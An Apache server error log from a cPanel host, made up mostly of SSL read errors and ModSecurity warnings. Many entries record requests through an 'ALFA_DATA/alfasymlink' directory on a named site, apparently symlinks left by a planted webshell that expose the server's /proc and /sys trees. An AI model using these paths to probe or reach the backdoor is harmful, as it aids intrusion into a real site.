[Sun Oct 25 07:26:54.145388 2026] [ssl:error] [pid 2820367:tid 2820367] (70014)End of file found: [client 34.206.212.24:15108] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:27:02.192315 2026] [ssl:error] [pid 2815599:tid 2815599] (70014)End of file found: [client 3.231.193.38:62544] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:27:06.517674 2026] [ssl:error] [pid 2815605:tid 2815605] (70014)End of file found: [client 98.82.107.102:32788] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:27:14.130217 2026] [ssl:error] [pid 2815599:tid 2815599] (70014)End of file found: [client 3.213.213.161:27002] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:27:17.802130 2026] [authz_core:error] [pid 2815605:tid 2815605] [client 167.94.146.60:3218] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sun Oct 25 07:27:18.280268 2026] [ssl:error] [pid 2806348:tid 2806348] (70014)End of file found: [client 34.193.2.57:38716] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:27:22.137359 2026] [core:error] [pid 2815602:tid 2815602] (13)Permission denied: [client 34.239.197.197:56857] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/tty/tty50/subsystem/tty1/subsystem/ttyS3/io_type
[Sun Oct 25 07:27:26.166833 2026] [ssl:error] [pid 2815605:tid 2815605] (70014)End of file found: [client 3.89.176.255:3866] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:27:30.173362 2026] [ssl:error] [pid 2815599:tid 2815599] (70014)End of file found: [client 23.21.227.240:29308] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:27:42.129851 2026] [core:error] [pid 2815605:tid 2815605] (13)Permission denied: [client 18.208.11.93:55617] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/input/event0/subsystem/input1/device/firmware_node/subsystem/devices/PNP0A03:00/device:01/physical_node/rescan
[Sun Oct 25 07:27:46.197995 2026] [ssl:error] [pid 2822163:tid 2822163] (70014)End of file found: [client 184.73.68.20:49708] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:27:49.422640 2026] [authz_core:error] [pid 2815601:tid 2815601] [client 167.94.146.60:36886] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sun Oct 25 07:28:06.338694 2026] [ssl:error] [pid 2823283:tid 2823283] (70014)End of file found: [client 98.82.39.241:7879] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:28:22.145508 2026] [ssl:error] [pid 2822163:tid 2822163] (70014)End of file found: [client 23.23.103.31:14006] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:28:30.138766 2026] [ssl:error] [pid 2823283:tid 2823283] (70014)End of file found: [client 54.84.169.196:37026] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:28:34.225718 2026] [ssl:error] [pid 2815606:tid 2815606] (70014)End of file found: [client 52.203.152.231:17263] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:28:42.148598 2026] [ssl:error] [pid 2815599:tid 2815599] (70014)End of file found: [client 44.206.65.8:29352] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:28:46.157253 2026] [ssl:error] [pid 2821699:tid 2821699] (70014)End of file found: [client 54.156.124.2:52533] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:28:50.126841 2026] [ssl:error] [pid 2822163:tid 2822163] (70014)End of file found: [client 3.208.156.9:46563] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:29:02.132675 2026] [ssl:error] [pid 2806348:tid 2806348] (70014)End of file found: [client 35.171.141.42:1209] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:29:06.272236 2026] [ssl:error] [pid 2822163:tid 2822163] (70014)End of file found: [client 100.28.49.152:13380] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:29:26.156385 2026] [core:error] [pid 2820367:tid 2820367] (13)Permission denied: [client 98.83.226.125:43078] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/input/event0/subsystem/input1/device/firmware_node/subsystem/devices/PNP0A03:00/device:03/physical_node/resource0_wc
[Sun Oct 25 07:29:42.130133 2026] [core:error] [pid 2821699:tid 2821699] (13)Permission denied: [client 34.236.41.241:32656] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/input/input1/subsystem/input5/event4/subsystem/event1/device/device/drvctl
[Sun Oct 25 07:29:46.141815 2026] [ssl:error] [pid 2815606:tid 2815606] (70014)End of file found: [client 44.212.131.50:1682] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:29:50.142260 2026] [ssl:error] [pid 2815601:tid 2815601] (70014)End of file found: [client 23.23.180.225:60388] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:30:02.180371 2026] [core:error] [pid 2815605:tid 2815605] (13)Permission denied: [client 3.219.81.66:25641] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/sys/devices/virtual/input/mice/subsystem/input1/event1/subsystem/input5/device/driver/bind
[Sun Oct 25 07:30:04.258592 2026] [core:error] [pid 2822163:tid 2822163] (13)Permission denied: [client 85.208.96.197:23858] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kioctx/slab_size
[Sun Oct 25 07:30:06.128173 2026] [ssl:error] [pid 2815599:tid 2815599] (70014)End of file found: [client 18.214.124.6:16018] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:30:10.129346 2026] [ssl:error] [pid 2806348:tid 2806348] (70014)End of file found: [client 3.217.82.254:31412] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:30:17.669154 2026] [ssl:error] [pid 2806348:tid 2806348] (70014)End of file found: [client 85.208.96.205:17224] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:30:22.130058 2026] [ssl:error] [pid 2815602:tid 2815602] (70014)End of file found: [client 18.210.58.238:50145] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:30:26.160046 2026] [ssl:error] [pid 2815606:tid 2815606] (70014)End of file found: [client 54.87.62.248:63039] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:30:30.212276 2026] [ssl:error] [pid 2822163:tid 2822163] (70014)End of file found: [client 18.232.12.157:22020] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:30:31.547119 2026] [core:error] [pid 2821699:tid 2821699] (13)Permission denied: [client 85.208.96.212:55384] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bfq_io_cq/ctor
[Sun Oct 25 07:30:34.192772 2026] [core:error] [pid 2815601:tid 2815601] (13)Permission denied: [client 44.194.139.149:41259] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/input/mouse1/device/event3/subsystem/input1/device/firmware_node/physical_node/firmware_node/physical_node1/driver/bind
[Sun Oct 25 07:30:38.179493 2026] [ssl:error] [pid 2815605:tid 2815605] (70014)End of file found: [client 34.234.197.175:38103] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:30:39.902588 2026] [security2:error] [pid 2815606:tid 2815606] [client 49.51.243.95:35320] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "162.216.113.238"] [uri "/"] [unique_id "at3oXyQ6C_qJaeV2JCrHSAAAABQ"]
[Sun Oct 25 07:30:43.243774 2026] [core:error] [pid 2822163:tid 2822163] (13)Permission denied: [client 85.208.96.197:48750] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/lsm_file_cache/trace
[Sun Oct 25 07:31:02.253560 2026] [ssl:error] [pid 2823283:tid 2823283] (70014)End of file found: [client 52.0.105.244:40776] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:31:06.130409 2026] [ssl:error] [pid 2806348:tid 2806348] (70014)End of file found: [client 18.207.89.138:14491] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:31:10.150062 2026] [ssl:error] [pid 2820367:tid 2820367] (70014)End of file found: [client 52.205.222.214:59503] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:31:22.166831 2026] [ssl:error] [pid 2815599:tid 2815599] (70014)End of file found: [client 3.213.213.161:37712] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:31:28.212942 2026] [authz_core:error] [pid 2806348:tid 2806348] [client 195.178.110.159:53576] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/error_log
[Sun Oct 25 07:31:30.129149 2026] [ssl:error] [pid 2820367:tid 2820367] (70014)End of file found: [client 34.231.118.144:30432] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:31:34.275435 2026] [ssl:error] [pid 2815602:tid 2815602] (70014)End of file found: [client 35.170.205.140:14331] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:31:42.113683 2026] [core:error] [pid 2823283:tid 2823283] (13)Permission denied: [client 34.239.197.197:52233] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:04/physical_node/subsystem/drivers/virtio-pci/0000:00:05.0/driver/unbind
[Sun Oct 25 07:31:50.127146 2026] [ssl:error] [pid 2822163:tid 2822163] (70014)End of file found: [client 18.214.186.220:61440] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:31:58.159382 2026] [ssl:error] [pid 2815602:tid 2815602] (70014)End of file found: [client 18.213.70.100:23737] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:32:02.142273 2026] [ssl:error] [pid 2815599:tid 2815599] (70014)End of file found: [client 54.83.240.58:17720] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:32:22.130150 2026] [ssl:error] [pid 2815602:tid 2815602] (70014)End of file found: [client 3.211.105.134:58312] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:32:26.184596 2026] [ssl:error] [pid 2815606:tid 2815606] (70014)End of file found: [client 34.233.219.155:24691] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:32:34.143878 2026] [ssl:error] [pid 2815601:tid 2815601] (70014)End of file found: [client 35.170.205.140:60212] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:32:42.123806 2026] [ssl:error] [pid 2815602:tid 2815602] (70014)End of file found: [client 35.169.119.108:1355] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:32:46.222345 2026] [ssl:error] [pid 2806348:tid 2806348] (70014)End of file found: [client 34.205.170.13:43525] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:32:58.265623 2026] [ssl:error] [pid 2820367:tid 2820367] (70014)End of file found: [client 98.83.178.66:10767] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:33:02.121055 2026] [ssl:error] [pid 2815606:tid 2815606] (70014)End of file found: [client 54.83.56.1:22863] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:33:06.132042 2026] [ssl:error] [pid 2806348:tid 2806348] (70014)End of file found: [client 3.93.211.16:33665] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:33:10.142227 2026] [ssl:error] [pid 2815599:tid 2815599] (70014)End of file found: [client 3.220.70.171:2754] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:33:42.133758 2026] [ssl:error] [pid 2815601:tid 2815601] (70014)End of file found: [client 3.219.81.66:27693] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:33:46.255152 2026] [ssl:error] [pid 2820367:tid 2820367] (70014)End of file found: [client 3.90.73.206:8564] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:33:50.118141 2026] [core:error] [pid 2821699:tid 2821699] (13)Permission denied: [client 44.217.255.167:55912] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:01/subsystem/devices/LNXSYBUS:00/PNP0C0F:04/subsystem/devices/PNP0A03:00/device:1b/eject
[Sun Oct 25 07:34:02.131032 2026] [ssl:error] [pid 2820367:tid 2820367] (70014)End of file found: [client 54.167.32.123:51284] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:34:05.107383 2026] [core:error] [pid 2815606:tid 2815606] (13)Permission denied: [client 85.208.96.202:35814] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/request_queue/reclaim_account
[Sun Oct 25 07:34:06.226273 2026] [ssl:error] [pid 2821699:tid 2821699] (70014)End of file found: [client 50.16.216.166:8696] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:34:12.520850 2026] [ssl:error] [pid 2815605:tid 2815605] (70014)End of file found: [client 185.191.171.12:16478] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:34:14.132637 2026] [ssl:error] [pid 2815602:tid 2815602] (70014)End of file found: [client 98.82.63.147:15618] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:34:26.134789 2026] [ssl:error] [pid 2822163:tid 2822163] (70014)End of file found: [client 44.215.61.66:30308] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:34:34.288539 2026] [security2:error] [pid 2815599:tid 2815599] [client 146.56.197.150:37802] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "curso-de-ventas.com"] [uri "/"] [unique_id "at3pSus4DYbOWQ864oPKZwAAAAk"]
[Sun Oct 25 07:34:34.289667 2026] [authz_core:error] [pid 2815599:tid 2815599] [client 146.56.197.150:37802] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sun Oct 25 07:34:36.470854 2026] [security2:error] [pid 2820367:tid 2820367] [client 85.208.96.195:48728] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/var/softaculous/smf20/import.php"] [unique_id "at3pTK6y10zADJ0W8jUhGgAAAAA"]
[Sun Oct 25 07:34:36.470931 2026] [security2:error] [pid 2820367:tid 2820367] [client 85.208.96.195:48728] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/var/softaculous/smf20/import.php"] [unique_id "at3pTK6y10zADJ0W8jUhGgAAAAA"]
[Sun Oct 25 07:34:38.333960 2026] [ssl:error] [pid 2806348:tid 2806348] (70014)End of file found: [client 44.195.145.102:1826] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:34:42.291712 2026] [security2:error] [pid 2815601:tid 2815601] [client 85.208.96.196:40560] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/var/softaculous/advpoll/import.php"] [unique_id "at3pUsFBowqkM0cGnNCR2wAAAA8"]
[Sun Oct 25 07:34:42.291758 2026] [security2:error] [pid 2815601:tid 2815601] [client 85.208.96.196:40560] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/var/softaculous/advpoll/import.php"] [unique_id "at3pUsFBowqkM0cGnNCR2wAAAA8"]
[Sun Oct 25 07:34:45.260924 2026] [authz_core:error] [pid 2815602:tid 2815602] [client 141.98.11.224:57896] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini, referer: http://curso-de-ventas.com/
[Sun Oct 25 07:34:46.159370 2026] [ssl:error] [pid 2815599:tid 2815599] (70014)End of file found: [client 98.83.94.113:19756] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:34:58.131536 2026] [ssl:error] [pid 2815605:tid 2815605] (70014)End of file found: [client 3.218.103.254:56309] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:35:02.139329 2026] [ssl:error] [pid 2815599:tid 2815599] (70014)End of file found: [client 54.145.82.217:33077] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:35:14.278830 2026] [ssl:error] [pid 2815605:tid 2815605] (70014)End of file found: [client 52.204.37.237:2600] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:35:18.141937 2026] [core:error] [pid 2815602:tid 2815602] (13)Permission denied: [client 54.83.180.239:56608] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/0000:00:01.0/firmware_node/wakeup/wakeup1/device/PNP0501:00/subsystem/devices/PNP0F13:00/physical_node/driver/uevent
[Sun Oct 25 07:35:26.140716 2026] [ssl:error] [pid 2806348:tid 2806348] (70014)End of file found: [client 54.166.104.83:24329] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:35:32.706604 2026] [ssl:error] [pid 2815605:tid 2815605] (70014)End of file found: [client 85.208.96.201:49402] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:35:38.160261 2026] [ssl:error] [pid 2815599:tid 2815599] (70014)End of file found: [client 52.45.92.83:1607] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:35:42.165998 2026] [ssl:error] [pid 2820367:tid 2820367] (70014)End of file found: [client 44.218.6.93:21585] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:35:47.835159 2026] [ssl:error] [pid 2822163:tid 2822163] (70014)End of file found: [client 185.191.171.11:62884] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:35:50.170893 2026] [ssl:error] [pid 2806348:tid 2806348] (70014)End of file found: [client 44.221.227.90:55285] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:35:54.161845 2026] [ssl:error] [pid 2815606:tid 2815606] (70014)End of file found: [client 18.205.91.101:12358] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:35:58.177054 2026] [core:error] [pid 2815601:tid 2815601] (13)Permission denied: [client 44.206.65.8:38823] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:12/subsystem/devices/device:06/physical_node/driver/0000:00:03.0/resource0
[Sun Oct 25 07:36:04.310118 2026] [core:error] [pid 2823283:tid 2823283] (13)Permission denied: [client 185.191.171.15:24602] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/UDPLITEv6/remote_node_defrag_ratio
[Sun Oct 25 07:36:06.206731 2026] [core:error] [pid 2815599:tid 2815599] (13)Permission denied: [client 18.209.201.119:42111] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/tty/ttyS1/device/tty/ttyS0/device/subsystem/drivers/serial8250/bind
[Sun Oct 25 07:36:14.204335 2026] [ssl:error] [pid 2821699:tid 2821699] (70014)End of file found: [client 3.220.148.166:41273] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:36:18.272843 2026] [ssl:error] [pid 2815601:tid 2815601] (70014)End of file found: [client 52.3.127.170:30417] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:36:38.361097 2026] [ssl:error] [pid 2820367:tid 2820367] (70014)End of file found: [client 34.206.193.60:13704] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:36:42.218699 2026] [ssl:error] [pid 2815605:tid 2815605] (70014)End of file found: [client 34.204.150.196:44912] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:36:46.279543 2026] [ssl:error] [pid 2815599:tid 2815599] (5)Input/output error: [client 54.204.62.163:43278] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:36:58.276278 2026] [ssl:error] [pid 2823283:tid 2823283] (70014)End of file found: [client 23.22.59.87:23274] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:37:02.371244 2026] [ssl:error] [pid 2815605:tid 2815605] (70014)End of file found: [client 100.28.118.16:41656] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:37:06.270561 2026] [ssl:error] [pid 2806348:tid 2806348] (70014)End of file found: [client 52.22.87.224:26168] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:37:26.367163 2026] [ssl:error] [pid 2815599:tid 2815599] (70014)End of file found: [client 52.200.93.170:31445] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:37:34.302184 2026] [core:error] [pid 2823283:tid 2823283] (13)Permission denied: [client 52.44.229.124:12078] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/input/event0/subsystem/input1/device/firmware_node/subsystem/devices/device:05/physical_node/driver/unbind
[Sun Oct 25 07:37:46.276237 2026] [ssl:error] [pid 2815601:tid 2815601] (70014)End of file found: [client 44.207.252.58:58804] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:37:50.638516 2026] [ssl:error] [pid 2821699:tid 2821699] (70014)End of file found: [client 44.212.131.50:24890] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:37:54.423339 2026] [core:error] [pid 2815599:tid 2815599] (13)Permission denied: [client 52.1.157.90:4098] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:01/PNP0501:00/subsystem/devices/QEMU0002:00/physical_node/driver/unbind
[Sun Oct 25 07:37:58.502624 2026] [ssl:error] [pid 2815601:tid 2815601] (70014)End of file found: [client 34.233.219.155:56472] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:38:02.304641 2026] [ssl:error] [pid 2815606:tid 2815606] (70014)End of file found: [client 44.205.120.22:33115] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:38:04.471462 2026] [security2:error] [pid 2821699:tid 2821699] [client 64.20.54.226:35300] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/cursodeventas-global": Permission denied [hostname "server.sherwinpinturas.com"] [uri "/.well-known/acme-challenge/GT911N95Y5RQKPLO51ZEPM2MKEEDRV2E"] [unique_id "at3qHJBSQk9YSmLuOvuPYQAAAAM"]
[Sun Oct 25 07:38:04.471511 2026] [security2:error] [pid 2821699:tid 2821699] [client 64.20.54.226:35300] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/cursodeventas-ip": Permission denied [hostname "server.sherwinpinturas.com"] [uri "/.well-known/acme-challenge/GT911N95Y5RQKPLO51ZEPM2MKEEDRV2E"] [unique_id "at3qHJBSQk9YSmLuOvuPYQAAAAM"]
[Sun Oct 25 07:38:06.373975 2026] [ssl:error] [pid 2820367:tid 2820367] (70014)End of file found: [client 54.88.84.219:36254] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:38:10.420069 2026] [ssl:error] [pid 2822163:tid 2822163] (70014)End of file found: [client 18.208.11.93:62395] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:38:14.576239 2026] [ssl:error] [pid 2815605:tid 2815605] (70014)End of file found: [client 100.28.57.133:34691] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:38:30.675866 2026] [ssl:error] [pid 2815605:tid 2815605] (70014)End of file found: [client 44.215.231.15:33698] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:38:34.404265 2026] [ssl:error] [pid 2823283:tid 2823283] (70014)End of file found: [client 98.82.40.168:51468] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:38:38.570488 2026] [ssl:error] [pid 2806348:tid 2806348] (70014)End of file found: [client 3.210.114.189:40068] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:38:46.334984 2026] [ssl:error] [pid 2822163:tid 2822163] (70014)End of file found: [client 52.4.238.8:19683] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:38:50.334065 2026] [ssl:error] [pid 2815602:tid 2815602] (70014)End of file found: [client 3.220.148.166:26752] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:38:58.375938 2026] [ssl:error] [pid 2815606:tid 2815606] (70014)End of file found: [client 100.29.34.97:29959] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:39:02.371720 2026] [ssl:error] [pid 2815605:tid 2815605] (5)Input/output error: [client 54.210.155.69:22860] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:39:10.393249 2026] [core:error] [pid 2806348:tid 2806348] (13)Permission denied: [client 44.208.223.68:14805] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:15/subsystem/devices/device:00/physical_node/i2c-0/device/subsystem/slots/31/module/uevent
[Sun Oct 25 07:39:14.427133 2026] [core:error] [pid 2815606:tid 2815606] (13)Permission denied: [client 3.215.59.93:53054] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:04/wakeup/wakeup4/subsystem/wakeup7/device/subsystem/drivers/hardware_error_device/bind
[Sun Oct 25 07:39:15.533868 2026] [core:error] [pid 2815602:tid 2815602] (13)Permission denied: [client 85.208.96.195:24860] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ext4_groupinfo_4k/object_size
[Sun Oct 25 07:39:22.405958 2026] [ssl:error] [pid 2823283:tid 2823283] (70014)End of file found: [client 3.223.181.32:48609] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:39:26.614014 2026] [core:error] [pid 2815601:tid 2815601] (13)Permission denied: [client 52.1.106.130:21901] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:02/subsystem/devices/LNXCPU:00/physical_node/driver/cpu0/crash_notes
[Sun Oct 25 07:39:30.541142 2026] [ssl:error] [pid 2815599:tid 2815599] (70014)End of file found: [client 184.73.167.217:21744] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:39:34.545687 2026] [ssl:error] [pid 2821699:tid 2821699] (70014)End of file found: [client 3.232.39.98:30281] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:39:42.584886 2026] [ssl:error] [pid 2822163:tid 2822163] (70014)End of file found: [client 52.203.68.145:16917] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:39:46.713312 2026] [ssl:error] [pid 2815601:tid 2815601] (70014)End of file found: [client 52.70.209.13:30358] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:39:50.605588 2026] [ssl:error] [pid 2806348:tid 2806348] (70014)End of file found: [client 23.21.175.228:42393] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:39:54.485054 2026] [core:error] [pid 2815606:tid 2815606] (13)Permission denied: [client 52.203.65.83:1694] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/input/mice/subsystem/input0/device/subsystem/devices/PNP0A03:00/physical_node/0000:00:01.1/driver/0000:00:01.1/rescan
[Sun Oct 25 07:39:58.721465 2026] [ssl:error] [pid 2815602:tid 2815602] (70014)End of file found: [client 54.87.62.248:21841] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:40:02.438906 2026] [ssl:error] [pid 2821699:tid 2821699] (70014)End of file found: [client 52.4.229.9:40293] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:40:06.450357 2026] [ssl:error] [pid 2823283:tid 2823283] (70014)End of file found: [client 54.83.240.58:1525] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:40:14.623262 2026] [ssl:error] [pid 2820367:tid 2820367] (70014)End of file found: [client 54.147.80.137:52584] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:40:18.462750 2026] [ssl:error] [pid 2822163:tid 2822163] (70014)End of file found: [client 52.4.238.8:6032] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 07:40:26.480615 2026] [core:error] [pid 2823283:tid 2823283] (13)Permission denied: [client 98.83.226.125:11744] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/input/event0/subsystem/input4/event2/subsystem/input5/device/driver/pcspkr/driver/bind
